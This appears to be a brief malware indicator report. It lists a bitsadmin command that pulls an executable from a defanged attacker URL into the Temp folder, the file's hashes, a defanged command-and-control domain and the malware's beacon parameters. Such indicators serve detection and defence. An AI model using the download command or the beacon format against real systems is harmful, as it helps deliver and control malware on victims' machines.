BitsAdmin:
bitsadmin  /transfer msd5 /priority foreground hxxp://vag[.]aplusexpresschinesenyc[.]com/pagnom95.php C:\Users\$username\AppData\Local\Temp/czbNgmos.exe

File: czbNgmos.exe
MD5: 41fff120955f52a2f92c20280feca376
SHA1: c37b9b37678f62e33bc6f60f44e319e64ce2bbbb
SHA-256: fa97770be074b86b4972cbd9d7bec07ade003525035d34c2a933c74207c7cdce


C2: hxxps://brentleybag[.]com

Version_3:
type=0
&soft=3
&version=300667
&user=XXXXXXXXXXXXX
&group=40002
&id=8576b0d0
&arc=0
&crc=00000000
&uptime=57390